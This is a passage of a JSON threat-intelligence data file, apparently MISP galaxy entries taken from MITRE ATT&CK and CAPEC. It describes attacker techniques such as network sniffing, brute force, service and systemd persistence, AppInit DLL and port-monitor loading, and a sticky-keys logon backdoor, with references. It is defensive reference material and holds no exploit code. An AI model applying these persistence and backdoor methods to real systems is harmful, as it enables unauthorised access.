"https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/",
"https://attack.mitre.org/techniques/T1200",
"https://capec.mitre.org/data/definitions/440.html",
"https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
"https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained",
"https://www.youtube.com/watch?v=fXthwl6ShOg",
"https://www.youtube.com/watch?v=lDvf4ScWbcQ"
]
},
"uuid": "d40239b3-05ff-46d8-9bdd-b46d13463ef9",
"value": "Hardware Additions - T1200"
},
{
"description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.",
"meta": {
"external_id": "T1002",
"refs": [
"https://attack.mitre.org/techniques/T1002",
"https://en.wikipedia.org/wiki/List_of_file_signatures"
]
},
"related": [
{
"dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
"value": "Data Compressed - T1002"
},
{
"description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.",
"meta": {
"external_id": "CAPEC-158",
"kill_chain": [
"mitre-attack:credential-access",
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1040",
"https://capec.mitre.org/data/definitions/158.html"
]
},
"uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
"value": "Network Sniffing - T1040"
},
{
"description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).",
"meta": {
"external_id": "CAPEC-550",
"refs": [
"https://attack.mitre.org/techniques/T1050",
"https://capec.mitre.org/data/definitions/550.html",
"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697",
"https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection",
"https://technet.microsoft.com/en-us/library/cc772408.aspx",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "478aa214-2ca7-4ec0-9978-18798e514790",
"value": "New Service - T1050"
},
{
"description": "Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)",
"meta": {
"external_id": "T1600",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Modification"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1600",
"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
]
},
"uuid": "1f9012ef-1e10-4e48-915e-e03563435fe8",
"value": "Weaken Encryption - T1600"
},
{
"description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.",
"meta": {
"external_id": "T1008",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1008"
]
},
"uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
"value": "Fallback Channels - T1008"
},
{
"description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n",
"meta": {
"external_id": "CAPEC-572",
"refs": [
"https://attack.mitre.org/techniques/T1009",
"https://capec.mitre.org/data/definitions/572.html",
"https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/",
"https://www.virustotal.com/en/faq/",
"https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
]
},
"related": [
{
"dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "519630c5-f03f-4882-825c-3af924935817",
"value": "Binary Padding - T1009"
},
{
"description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.",
"meta": {
"external_id": "CAPEC-49",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"User Account: User Account Authentication"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1110",
"https://capec.mitre.org/data/definitions/49.html"
]
},
"uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
"value": "Brute Force - T1110"
},
{
"description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
"meta": {
"external_id": "CAPEC-647",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1012",
"https://capec.mitre.org/data/definitions/647.html",
"https://en.wikipedia.org/wiki/Windows_Registry"
]
},
"uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
"value": "Query Registry - T1012"
},
{
"description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)\n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)",
"meta": {
"external_id": "CAPEC-555",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Command: Command Execution",
"Logon Session: Logon Session Creation",
"Module: Module Load",
"Network Share: Network Share Access",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html",
"https://attack.mitre.org/techniques/T1021",
"https://capec.mitre.org/data/definitions/555.html",
"https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf",
"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins",
"https://support.apple.com/en-us/HT201710",
"https://support.apple.com/en-us/HT209161",
"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
"https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html",
"https://www.ssh.com/ssh"
]
},
"uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
"value": "Remote Services - T1021"
},
{
"description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
"meta": {
"external_id": "T1102",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1102"
]
},
"uuid": "830c9528-df21-472c-8c14-a036bf17d665",
"value": "Web Service - T1102"
},
{
"description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
"meta": {
"external_id": "T1103",
"refs": [
"https://attack.mitre.org/techniques/T1103",
"https://msdn.microsoft.com/en-us/library/dn280412",
"https://support.microsoft.com/en-us/kb/197571",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "cc89ecbd-3d33-4a41-bcca-001e702d18fd",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41",
"value": "AppInit DLLs - T1103"
},
{
"description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.",
"meta": {
"external_id": "T1013",
"refs": [
"http://msdn.microsoft.com/en-us/library/dd183341",
"https://attack.mitre.org/techniques/T1013",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
]
},
"related": [
{
"dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125",
"value": "Port Monitors - T1013"
},
{
"description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe",
"meta": {
"external_id": "CAPEC-558",
"refs": [
"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
"https://attack.mitre.org/techniques/T1015",
"https://capec.mitre.org/data/definitions/558.html",
"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
"https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
]
},
"related": [
{
"dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "9b99b83a-1aac-4e29-b975-b374950551a3",
"value": "Accessibility Features - T1015"
},
{
"description": "Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the ClipboardManager.OnPrimaryClipChangedListener interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)\n\nAdversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.\n\n[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)",
"meta": {
"external_id": "T1510",
"kill_chain": [
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android"
],
"refs": [
"http://www.cis.syr.edu/~wedu/Research/paper/clipboard_attack_dimva2014.pdf",
"https://attack.mitre.org/techniques/T1510",
"https://developer.android.com/about/versions/10/privacy/changes#clipboard-data",
"https://vms.drweb.com/virus/?i=17517750",
"https://vms.drweb.com/virus/?i=17517761",
"https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/",
"https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/"
]
},
"related": [],
"uuid": "e399430e-30b7-48c5-b70a-f44dc8c175cb",
"value": "Clipboard Modification - T1510"
},
{
"description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)",
"meta": {
"external_id": "T1150",
"refs": [
"https://attack.mitre.org/techniques/T1150",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
]
},
"related": [
{
"dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "06780952-177c-4247-b978-79c357fb311f",
"value": "Plist Modification - T1150"
},
{
"description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
"meta": {
"external_id": "T1501",
"refs": [
"http://man7.org/linux/man-pages/man1/systemd.1.html",
"https://attack.mitre.org/techniques/T1501",
"https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
"https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
"https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
"https://www.freedesktop.org/wiki/Software/systemd/",
"https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
]
},
"related": [
{
"dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e",
"value": "Systemd Service - T1501"
},
{
"description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",
"meta": {
"external_id": "CAPEC-563",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://httpd.apache.org/docs/2.4/getting-started.html#content",
"https://attack.mitre.org/techniques/T1051",
"https://capec.mitre.org/data/definitions/563.html",
"https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/"
]
},
"uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db",
"value": "Shared Webroot - T1051"
},
{
"description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).",
"meta": {
"external_id": "T1106",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"http://msdn.microsoft.com/en-us/library/ms682425",
"https://attack.mitre.org/techniques/T1106",
"https://developer.apple.com/documentation/coreservices",
"https://developer.apple.com/documentation/foundation",
"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1",
"https://docs.microsoft.com/en-us/windows/win32/api/",
"https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework",
"https://man7.org/linux/man-pages//man7/libc.7.html",
"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/",
"https://undocumented.ntinternals.net/",
"https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/",
"https://www.gnu.org/software/libc/",
"https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html",
"https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html",
"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
]
},
"uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
"value": "Native API - T1106"
},
{
"description": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.\n\nContainers can be deployed by various means, such as via Docker's create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)",
"meta": {
"external_id": "T1610",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:execution"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Container: Container Creation",
"Container: Container Start",
"Pod: Pod Creation",
"Pod: Pod Modification"
],
"mitre_platforms": [
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1610",
"https://blog.aquasec.com/malicious-container-image-docker-container-host",
"https://docs.docker.com/engine/api/v1.41/#tag/Container",
"https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/",
"https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/"
]
},
"uuid": "56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
"value": "Deploy Container - T1610"
},
{
"description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.",
"meta": {
"external_id": "T1160",
"refs": [
"https://attack.mitre.org/techniques/T1160",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
